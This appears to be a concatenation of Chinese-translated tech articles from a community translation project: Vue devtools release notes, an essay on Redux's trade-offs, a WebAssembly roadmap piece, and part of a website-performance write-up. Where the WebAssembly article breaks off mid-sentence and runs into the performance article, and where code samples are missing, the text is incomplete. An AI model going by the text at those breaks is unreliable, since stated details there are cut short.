默认情况下,点击组件将不再自动滚动到该组件的视图部分。相反,你需要点击新的 "Scroll into view" 图标才能滚动到该组件: ![](https://cdn-images-1.medium.com/max/800/1*TJEfzB4ifK8t-5kpbZieRw.png) 点击眼睛图标来滚动到组件。 视图将滚动到组件居中于屏幕的位置。 ### 可折叠的检查器 现在不同检查器的各部分是可以被折叠的。你可以用键盘修改键来将它们都折叠,或者通过鼠标单击将它们都展开。假设你只专注于 Vuex 标签页的 mutations 详情的话,这就是一个非常有用的功能。 ### 以及更多 * 如果运行环境不支持这一功能的话,"Inspect DOM" 按钮会被隐藏。 —— by [michalsnik](https://github.com/michalsnik) * 支持 `-Infinity` —— by [David-Desmaisons](https://github.com/David-Desmaisons) * 事件钩子的 issue 修复 —— [maxushuang](https://github.com/maxushuang) * 代码清理 —— by [anteriovieira](https://github.com/anteriovieira) * 改进了对 Date, RegExp, Component 的支持 (现在这些类型也可以进行时间旅行了) * devtools 现在使用 [v-tooltip](https://github.com/Akryum/v-tooltip) 实现更丰富的信息提示与弹出功能 如果你已经安装了扩展,扩展应用将自动更新到 `4.0.1` 版本。你也可以在 [Chrome](https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd) 和 [Firefox](https://addons.mozilla.org/fr/firefox/addon/vue-js-devtools/) 上安装。 **感谢所有的贡献者们!是你们使得本次更新成为可能!** 如果你发现任何问题或是有新的功能建议,[请分享出来](https://new-issue.vuejs.org/?repo=vuejs/vue-devtools)! * * * ### 接下来会有什么大动作? 具有更多功能特性的新版本即将发布,如在页面中直接选中组件(选色板风格)和一些 UI 改进。 我们也有一些仍在进行中的工作,比如允许在任意环境(不仅仅是 Chrome 和 Firefox)进行 debug 的独立 Vue devtools app,全新的路由标签页,以及对 `Set` 和 `Map` 类型支持的改进。 敬请关注! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/whats-so-great-about-redux.md ================================================ > * 原文地址:[What’s So Great About Redux?](https://medium.freecodecamp.org/whats-so-great-about-redux-ac16f1cc0f8b) > * 原文作者:[Justin Falcone](https://medium.freecodecamp.org/@modernserf) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/whats-so-great-about-redux.md](https://github.com/xitu/gold-miner/blob/master/TODO/whats-so-great-about-redux.md) > * 译者:[ZiXYu](https://github.com/ZiXYu) > * 校对者:[MJingv](https://github.com/MJingv), [calpa](https://github.com/calpa) # Redux 有多棒? ![](https://cdn-images-1.medium.com/max/1600/1*BpaqVMW2RjQAg9cFHcX1pw.png) Redux 能够优雅地处理复杂且难以被 React 组件描述的状态交互。它本质上是一个消息传递系统,就像在面向对象编程中看到的那样,只是 Redux 是通过一个库而不是在语言本身中来实现的。就像在 OOP 中那样,Redux 将控制的责任从调用方转移到了接收方 - 界面并不直接操作状态值,而是发布一条操作消息来让状态解析。 一个 Redux store 是一个对象, reducers 是方法的处理程序,而 actions 是操作消息。`store.dispatch({ type: "foo", payload: "bar" })` 相当于 Ruby 中的 `store.send(:foo, "bar")`。中间件的使用方式类似于面向切面编程 (AOP, Aspect-Oriented Programming) (例如:Rails 中的 `before_action`)。 而 React-Redux 的 `connect` 则是依赖注入。 #### 为什么它值得称赞? - 上文中控制权限的转移保证了当状态转换的实现变化时, UI 并不需要更新。添加复杂的功能,例如记录日志、撤销操作,甚至是时光穿越调试 (time travel debugging),将变得非常简单。集成测试只需要确认派发了正确的 actions 即可,剩下的测试都可以通过单元测试来完成。 - React 的组件状态对于那些在 app 中触及多个部分的状态而言非常笨重,例如用户信息和消息通知。Redux 提供了一个独立于 UI 的状态树来处理这些交叉问题。此外,让你的状态存活于 UI 之外使实现数据可持久化之类的功能变得更简单 - 你只需要在一个单独的地方处理 localStorage 和 URL 即可。 - Redux 的 reducer 提供了难以想象的灵活方式来处理 actions - 组合,多次派发,甚至 `method_missing` 式解析 #### 这些都是不常见的情况。在常见情况下呢? 好吧,这就是问题所在。 - 一个 action **可以**被解释为一个复杂的状态转换,但是它们中的绝大对数只是用来设置一个单独的值。Redux 应用倾向于结束这一大堆只用于设置一个值的 action,这里有个用于区分在 Java 中手动写 setter 函数的标志。 - 你**可以**在你 app 的任意一个地方使用状态树的任一部分,但是对于大多数状态来说,它们一对一的对应了某个 UI 中的一部分。将这种状态放在 Redux 中,而不是放在组件里,这只是**间接**而非**抽象**。 - 一个 reducer 函数**可以**做各种奇怪的元编程,但是在绝大多数情况下它只是基于某个 action 类型的单一派发。这在 Elm 和 Erlang 这种语言中是很好实现的,因为在这些语言中,模式匹配是简洁而高效的,但是在 JavaScript 中使用 `switch` 语句来实现就显得格外笨拙。 但是更可怕的事是,当你花费了所有的时间在常见情况下编写代码模板时,你会忘记,在某些特殊情况下会有更好的解决方案**存在**。你遇到了一个复杂的状态转换问题,然后调用了很多用于设置状态值的 action 来解决了它。你在 reducer 中重复定义了很多状态,而不是在 app 中分发同一个子状态。你在很多 reducer 中复制粘贴了各种 switch case 而不是把其中的某些方法抽象成共有的方法。 这很容易把这种错误仅仅当成 “操作员误差” - 是他们没有查看操作手册,就像可怜的工匠责怪他们手上的工具一样 - 但是这种问题出现的频率应当引起一些关注。如果大多数的人都错误的使用一款工具,那我们又该如何评价它呢? #### 所以我们应该避免在常见情况下使用 Redux,而把它留给特殊情况吗? 这是 Redux 开发团队给你的建议,也是我给我的开发团队成员的建议:除非使用 setState 难以解决问题,不然尽量避免使用 Redux。但是我不能让我自己也遵从我自己的规定,因为总是有**某些**原因让你想要使用 Redux。 可能你有一系列的 `set_$foo` 消息,而且设置这些值**也**会更新 URL,或者重设某些瞬态值。可能你有一些明确和 UI 一对一的状态值,但是你**也**希望纪录或者可以撤销它们。 事实是,我不知道如何写,更不要说**指导写**“好的 Redux”。我曾经参与的每个 app 都充斥着 Redux 的反模式,因为我想不到更好的解决方案或者我无法说服我的队友来改变它。如果一个 Redux “专家” 写出来的代码也如此平庸,那我们还能指望一个新手怎么做呢?无论如何,我只是希望能够平衡一下现在大行其道的 “Redux 完成所有事” 解决方案,希望每个人都能在他们适用的情况下理解 Redux。 #### 所以我们在这种情况下该怎么做呢? 所幸的是,Redux 足够灵活,我们可以使用第三方库集成到 Redux 里来解决常见情况 - 例如 [Jumpstate](https://github.com/jumpsuit/jumpstate)。更清晰地说,我不认为 Redux 专注于处理底层事务是一种错误的行为。但是将这些基础的功能外包给第三方来完成会造成额外的认知和开发负担 - 每个用户都需要从这些部分里构建自己的框架。 #### 有些人执着于此 而我正是其中之一。但并不是所有人都是。个人而言,我爱 Redux,尽可能地使用它,但是我**仍旧**喜爱尝试新的 Webpack 设置。但是我并不代表绝大多数人群。我被实现灵活解决方案的心**驱使**着,在 Redux 的顶层写了很多我自己的抽象方法。但是看着那些一群六个月前就离职的、从来没留下开发记录的开发工程师所写的抽象程序,谁又能有动力呢? 其实很可能你根本**不会**遇到那些 Redux 特别擅长处理的难题,尤其如果你是一个团队里的新人,这些问题基本上会交给更资深的工程师处理。你在 Redux 上累积的经验就是 “用着每个人都在用的垃圾库,把所写的代码都重复写上好几次”。 Redux 简单到你**可以**不深入理解也能机械地使用它,但是那是一种很无聊也没什么提高的体验。 这让我回想起了我之前提出的一个问题:如果大多数的人都在错误的使用一款工具,那我们又该如何评价它呢?一个好的工具不仅仅应该有用且耐用 - 它应该让使用者有个好的使用体验。能舒服使用它的场景就是正确的场景。一个工具的设计不仅仅是为了它要完成的任务,同样也要考虑到它的使用者。一个好的工具可以反映出工具制作者对于使用者的同情心。 [![](https://ws2.sinaimg.cn/large/006tNc79ly1fhzg65gw1bj31280dutam.jpg)](https://twitter.com/stevensacks/status/884947742975377409) 那我们的同情心又在哪呢?为什么我们的反应总是 “你错误地使用了它” 而不是 “我们可以把它设计地更容易去使用” 呢? 这里有个函数式编程界的相关现象,我喜欢叫它 **Monad 指南的诅咒**:解释它们是怎么工作的是非常简单的,但是解释清楚它们这么做是有意义的就出乎意料地困难了。 #### 在这篇文章中你真的要读到一段 monad 指南? Moand 是一个在 Haskell 常见的开发模式,在计算机中的很多地方都被广泛使用 - 列表,错误处理,状态,时间,输入输出。这里有个语法糖,你可以以 `do` 表达式的形式像输入指令代码一样来输入一系列的 monad 操作,就好像 javascript 中的 generator 可以让异步函数看起来像同步一样。 第一个问题是,用 monad 用来做什么来描述 monad 是不准确的。[Haskell 曾引入 Monad 以解决副作用和顺序计算](http://homepages.inf.ed.ac.uk/wadler/papers/marktoberdorf/baastad.pdf),但是事实上 monad 作为一个抽象概念并不能解决副作用和顺序化,它们是一系列规则,规定了一组函数如何交互,并没有什么固定的含义。关联性的概念**适用于**算术集合操作、列表合并和 null 传播,但是它完全独立于这些操作。 第二个问题是在一些小问题上,用 monad 来解决问题更繁琐了 - 至少**看起来**更复杂了 - 相比于指令式操作而言。给一个可选类型指定它的 `Maybe Type` 明显比验证一个模糊的 `null` 类型更安全,但是这又会让代码变得更难看。使用 `Either` 类型来进行错误处理通常比那些随处可能 `throw` 错误的代码更容易理解,但是 throw 操作的确比手动传值更简洁。而副作用 - 状态,IO 等 - 在指令式语言中更是微不足道的。函数式编程爱好者们(包括我)会说副作用在函数式语言中**太简单**了,但是让别人相信任何一种语言很简单本身就是一件很难的事。 而 monad 真正的价值只能在宏观尺度体现出来 - 并不是这些用例都遵循着 monad 规则,但是这些用例都遵循着**同样**的规则。能够作用于一个用例的操作就可以作用于**每个**用例:把一对列表压缩成一个存储着对值的列表就和把一对 promise 函数融合成一个处理两个结果的 promise 是“一样的”。 #### 所以呢? 现在 Redux 有同样的问题 - 它很难学习并不是因为它很难反而是因为它太**简单**。理解并不是认知的障碍,而要相信它的核心设计理念,我们才能通过归纳来延伸其它的知识。 这种思想是很难共享的,因为核心思想是无趣的真理(避免副作用)或者做一些无意义的抽象(`(prevState, action) => nextState`)。任何单独的例子都不会对这种理解有任何帮助,因为这些例子只是展示了 Redux 的细节但并不能展现它的核心思想。 一旦我们开始✨接受别人的思想✨,我们中的很多人就会立刻忘掉自己之前的一些想法。我们忘记了我们的理解只能从我们自己一次又一次的失败和误解中获得。 #### 所以你的建议是? 我觉得我们应该承认我们遇到了这个问题。Redux 是一种[简单却不容易](https://www.infoq.com/presentations/Simple-Made-Easy)的语言。这是一种可以理解的设计选择,但是仍旧是一种权衡。对于一门牺牲了某些简单性来让它更便于使用的语言,还是有很多人都会从中获益的。但是,很多大型社区甚至不觉得这是一种已经做出的权衡。 我认为对比 React 和 Redux 是一件很有意思的事,因为广泛来说 React 是更复杂的,它有着明显更多 API 接口,同时它也在某种意义上更容易使用和理解。而 React 唯一必须的 API 接口是 `React.createElement` 和 `ReactDOM.render` - 状态,组件生命周期,甚至 DOM 事件可以在别的地方处理。React 中的这些特性让它变得更复杂,但是也让它变得更*出色*。 “原子化状态”是个抽象概念,在你理解它之后可以指导你的开发,但是不管你理不理解这个概念,你都可以在 React 组件中调用 `setState`,来实现原子化状态管理。这并不是一个完美的解决方案 - 彻底替换状态或者强制更新有着比它更高的效率,而且它是一个异步调用的方法还会产生一些 bug - 但是 React 将 `setState` 作为一个调用的方法而不是一个专业术语是一个很好的做法。 Redux 的开发组和社区都[强烈反对增加 Redux 的 API 数量](https://github.com/reactjs/redux/issues/2295),但是现在将一堆小型开发库融合在一起的做法对于专家而言是乏味的,而对于新手而言是费解的。如果 Redux 不能内置一些小功能来对常见情况做一些支持,那么我们需要一个“更好”的框架在常见情况下来取代它。[Jumpsuit](https://github.com/jumpsuit/jumpsuit) 可以作为一个不错的开始 - 它将“action”和“state”的概念转化为了可调用的方法,同时保留了它们多对多的特性 - 但是事实上,这个库其实并不关心这个优化本身。 讽刺的是:Redux **存在的意义** 是“开发者体验”:Dan 建立了 Redux 因为他希望理解和重建 Elm 的时光穿越调试。但是随着它开发了它自己的特性 - 进入了 React 生态系统的 OOP 运行环境 - 它牺牲了一些开发者的体验以换取可配置性。这让 Redux 得以蓬勃发展,但是这是个人性化开发框架明显的缺失。我们,Redux 社区,准备好了吗? --- **感谢** [*Matthew McVickar*](https://medium.com/@matthewmcvickar)*, *[*a pile of moss*](https://medium.com/@whale_eat_squid)*, *[*Eric Wood*](https://medium.com/@eric_b_wood)*, *[*Matt DuLeone*](https://twitter.com/Crimyon)*, 和 *[*Patrick Thomson*](https://twitter.com/importantshock)* review 本文。* **备注:** **[1] 为什么要在 React / JS 和 OOP 之间做明显的区分?JavaScript 是面向对象的,但是不是基于类(class-based)的。** OOP 类似于函数式编程,是一种方法,不是某个语言特性。有些语言对于 OOP **支持**地特别好,或者有一些专门为 OOP 定制的标准库,但是如果你对它的了解够深,你可以用任何语言写出面向对象风格的代码。 JavaScript 有一种数据类型 Object,同时 JS 中**大多数**数据类型可以以 Object 的形式来处理和解析,从这种角度来说你可以对任何数据类型调用某些同样的方法,除了 `null` 和 `undefined`。但是在 ES6 的 Proxy 出现之前,每个 Object 中调用的“方法”类似于一种字典查找,`foo.bar` 总是去查找 foo 对象中的“bar”属性或者它的原型链。而比如在 Ruby 这种语言中,`foo.bat` 会发一条消息 `:bar` 到 foo 对象中 - 这条消息可以被**拦截**或**解析**,它并不是必须做一个字典查找。 Redux 是一种基于 JavaScript 已存在的对象系统上更慢和更复杂的对象系统,reducer 和 middleware 相当于保存着状态的 JavaScript 对象的拦截器和解析器。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/where-is-webassembly-now-and-whats-next.md ================================================ > * 原文地址:[Where is WebAssembly now and what’s next?](https://hacks.mozilla.org/2017/02/where-is-webassembly-now-and-whats-next/) > * 原文作者:本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[胡子大哈](https://github.com/huzidaha/) > * 校对者:[根号三](https://github.com/sqrthree) # WebAssembly 的现在与未来 **本文是关于 WebAssembly 系列的第六篇文章,也同时是本系列的收尾文章。如果你没有读先前文章的话,建议[先读这里](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。** 2017 年 2 月 28 日,四个主要的浏览器[一致同意宣布](https://lists.w3.org/Archives/Public/public-webassembly/2017Feb/0002.html) WebAssembly 的 MVP 版本已经完成,它是一个浏览器可以搭载的稳定版本。 ![](https://huzidaha.github.io/images-store/201703/21-1.png) 它提供了浏览器可以搭载的稳定核,这个核并没有包含 WebAssembly 组织所计划的所有特征,而是提供了可以使 WebAssembly 稳定运行的基本版本。 这样一来开发者就可以使用 WebAssembly 代码了。对于旧版本的浏览器,开发者可以通过 asm.js 来向下兼容代码,asm.js 是 JavaScript 的一个子集,所有 JS 引擎都可以使用它。另外,通过 Emscripten 工具,既可以用 WebAssembly 也可以用 asm.js 来编译你的代码。 尽管是第一个版本,但是 WebAssembly 已经能发挥出它的优势了,未来通过不断地改善和融入新特征,WebAssembly 会变得更快。 ## 提升浏览器中 WebAssembly 的性能 随着各种浏览器都使自己的引擎支持 WebAssembly,速度提升就变成自然而然的事情了,目前各大浏览器厂商都在积极推动这件事情。 ### JavaScript 和 WebAssembly 之间调用的中间函数 目前,在 JS 中调用 WebAssembly 的速度比本应达到的速度要慢。这是因为中间需要做一次“蹦床运动”。JIT 没有办法直接处理 WebAssembly,所以 JIT 要先把 WebAssembly 函数发送到懂它的地方。这一过程是引擎中比较慢的地方。 ![](https://huzidaha.github.io/images-store/201703/21-2.png) 按理来讲,如果 JIT 知道如何直接处理 WebAssembly 函数,那么速度会有百倍的提升。 如果你传递给 WebAssembly 模块的是单一任务,那么不用担心这个开销,因为只有一次转换,也会比较快。但是如果是频繁地从 WebAssembly 和 JavaScript 之间切换,那么这个开销就必须要考虑了。 ### 快速加载 JIT 必须要在快速加载和快速执行之间做权衡。如果在编译和优化阶段花了大量的时间,那么执行的必然会很快,但是启动会比较慢。目前有大量的工作正在研究,如何使预编译时间和程序真正执行时间两者平衡。 WebAssembly 不需要对变量类型做优化假设,所以引擎也不关心在运行时的变量类型。这就给效率的提升提供了更多的可能性,比如可以使编译和执行这两个过程并行。 加之最新增加的 JavaScript API 允许 WebAssembly 的流编译,这就使得在字节流还在下载的时候就启动编译。 FireFox 目前正在开发两个编译器系统。一个编译器先启动,对代码进行部分优化。在代码已经开始运行时,第二个编译器会在后台对代码进行全优化,当全优化过程完毕,就会将代码替换成全优化版本继续执行。 ## 添加后续特性到 WebAssembly 标准的过程 WebAssembly 的发展是采用小步迭代的方式,边测试边开发,而不是预先设计好一切。 这就意味着有很多功能还在襁褓之中,没有经过彻底思考以及实际验证。它们想要写进标准,还要通过所有的浏览器厂商的积极参与。 这些特性叫做:**未来特性**。这里列出几个。 ### 直接操作 DOM 目前 WebAssembly 没有任何方法可以与 DOM 直接交互。就是说你还不能通过比如 `element.innerHTML` 的方法来更新节点。 想要操作 DOM,必须要通过 JS。那么你就要在 WebAssembly 中调用 JavaScript 函数(WebAssembly 模块中,既可以引入 WebAssembly 函数,也可以引入 JavaScript 函数)。 ![](https://huzidaha.github.io/images-store/201703/21-3.png) 不管怎么样,都要通过 JS 来实现,这比直接访问 DOM 要慢得多,所以这是未来一定要解决的一个问题。 ### 共享内存的并发性 提升代码执行速度的一个方法是使代码并行运行,不过有时也会适得其反,因为不同的线程在同步的时候可能会花费更多的时间。 这时如果能够使不同的线程共享内存,那就能降低这种开销。实现这一功能 WebAssembly 将会使用 JavaScript 中的 SharedArrayBuffer,而这一功能的实现将会提高程序执行的效率。 ### SIMD(单指令,多数据) 如果你之前了解过 WebAssembly 相关的内容,你可能会听说过 SIMD,全称是:Single Instruction, Multiple Data(单指令,多数据),这是并行化的另一种方法。 SIMD 在处理存放大量数据的数据结构有其独特的优势。比如存放了很多不同数据的 vector(容器),就可以用同一个指令**同时**对容器的不同部分做处理。这种方法会大幅提高复杂计算的效率,比如游戏或者 VR。 这对于普通 web 应用开发者不是很重要,但是对于多媒体、游戏开发者非常关键。 ### 异常处理 许多语言都仿照 C++ 式的异常处理,但是 WebAssembly 并没有包含异常处理。 如果你用 Emscripten 编译代码,就知道它会模拟异常处理,但是这一过程非常之慢,慢到你都想用 [“DISABLE_EXCEPTION_CATCHING”](https://kripken.github.io/emscripten-site/docs/optimizing/Optimizing-Code.html#c-exceptions) 标记把异常处理关掉。 如果异常处理加入到了 WebAssembly,那就不用采用模拟的方式了。而异常处理对于开发者来讲又特别重要,所以这也是未来的一大功能点。 ### 其他改进——使开发者开发起来更简单 一些未来特性不是针对性能的,而是使开发者开发 WebAssembly 更方便。 * **一流的开发者工具**。目前在浏览器中调试 WebAssembly 就像调试汇编一样,很少的开发者可以手动地把自己的源代码和汇编代码对应起来。我们在致力于开发出更加适合开发者调试源代码的工具。 * **垃圾回收**。如果你能提前确定变量类型,那就可以把你的代码变成 WebAssembly,例如 TypeScript 代码就可以编译成 WebAssembly。但是现在的问题是 WebAssembly 没办法处理垃圾回收的问题,WebAssembly 中的内存操作都是手动的。所以 WebAssembly 会考虑提供方便的 GC 功能,以方便开发者使用。 * **ES6 模块集成**。目前浏览器在逐渐支持用 `script` 标记来加载 JavaScript 模块。一旦这一功能被完美执行,那么像 ` 我们把这个小巧的内嵌脚本放到页面的头部来侦测原生的`document.querySelector` 和 `window.addEventListener`JavaScript是否被支持。如果是这样的话,我们通过在页面直接写`script`标签来加载脚本,然后使用`defer`属性让它不阻塞。 ### 懒加载 CSS 对我们的网站来说,在首屏浏览中最大的阻塞资源是 CSS。浏览器会延迟页面的渲染,直到``中的 CSS 引用全部被下载和解析。这个行为是经过考虑的,否则浏览器会在渲染页面的时候不断重新计算布局和重新绘制页面。 为了避免 CSS 阻塞渲染,我们需要异步加载 CSS 文件。我们使用了神奇的 Filament Group 的[loadCSS function](https://github.com/filamentgroup/loadCSS).它会在你的 CSS 文件加载后给你一个回调,在回调函数里我们设置 cookie 来说明 CSS 已经加载了。我们是为了重复浏览来使用 cookie,这我会在等一下解释。 异步加载 CSS 会有一个小`问题`,因为在这时候 HTML 会很快的渲染完成展现成只有 HTML 而没有应用到 CSS 的样子,直到全部 CSS 被下载和解析。这就是使用关键 CSS 的原因。 ### 关键 CSS 关键 CSS 的定义就是*让页面可以被用户辨识的最小体积的阻塞CSS*。我们关注`首屏`的内容。显然这个位置会根据设备不同而变化,所以我们做了最好的预测。 人工决定关键 CSS 是一个很消耗时间的过程,特别是未来样式改变的时候。这里有一个可以在你的构建过程中生成关键 CSS 的一个很棒的脚本。我们使用了强大的[Addy Osmani的critical](https://github.com/addyosmani/critical)。 看下面的分别使用关键 CSS 和完整 CSS 渲染的我们的主页。注意看在边缘下面的页面是仍然没有样式的。![Fold illustration](https://www.voorhoede.nl/assets/images/voorhoede-fold-l.jpg)左边的页面是只用关键 CSS 渲染的主页,而右边的页面使用完整的 CSS,红线代表边缘线。 ## 服务器 我们自己架构了 de Voorhoede站点,因为我们想要控制服务器的环境。我们想实验一下我们可以怎样通过改变服务器配置来提升性能。在这个时候我们有一个 Apache 网站服务器并且我们把我们站点设置为 HTTPS 服务。 ### 配置 为了增强性能和安全,我们需要研究一下怎么配置服务器。 我们使用[H5BP boilerplate apache configuration](https://github.com/h5bp/server-configs-apache),这是提升你的 Apache 网络服务器性能跟安全性的好的开始。他们也有提供别的服务器环境的配置。 我们使用 GZIP 来压缩大部分的 HTML,CSS 和 JavaScript。我们为我们全部的资源设置一致的缓存头。可以阅读[the file level caching section](https://www.voorhoede.nl/en/blog/why-our-website-is-faster-than-yours/#file-level-caching). ### HTTPS 在你的网站使用 HTTPS 服务会对性能有影响。这个不良影响主要来自于设置 SSL 握手,导致大量的等待时间。但是,跟其他地方一样,我们可以在这方面做些工作! **HTTP严格传输安全**是一个 HTTP 头,可以让服务器告诉浏览器它只允许使用 HTTPS 通讯。这个方法避免了 HTTP 请求被重定向为 HTTPS 。所有试图连接到这个网站的 HTTP 应该自动被转换。它节省了一个来回。 **TLS 错误开端** 允许客户端在第一个 TLS 来回之后立刻发送加密数据。这个优化对于新的 TLS 链接把握手减少到了一个来回。一旦客户端知道密钥便可以开始传输应用数据。剩下的握手用于确认没人在篡改握手记录,并可以并行执行。 **TLS会话恢复** 通过确认浏览器和服务器在过去是否在 TLS 上通信过的节约了另一个来回,浏览器可以记忆 session 标识符,在下一次建立连接时,标识符可以重新使用并节约一个来回。 我听起来像一个开发运营工程师,但我不是。我只是读了一些东西并看了一些视频。我喜欢来自 Google I/O 2016的[Mythbusting HTTPS: Squashing security’s urban legends by Emily Stark](https://www.youtube.com/watch?v=YMfW1bfyGSY) ### cookies 的使用 我们没有服务器端的语言,只有静态的Apache网络服务器。但一个 Apache 网络服务器仍然可以执行 server side includes(SSI)和阅读 cookies。通过巧妙的使用 cookies 和分发部分被 Apache 重写的 HTML,我们可以加速前端的性能。看下面的例子(我们实际的代码要复杂一点,但可以归纳为一样的想法): Apache 服务器端的逻辑是以 `` 如果这是访问者的第一次浏览,我们赋值为`true` - 对于第一次浏览,我们增加一个 `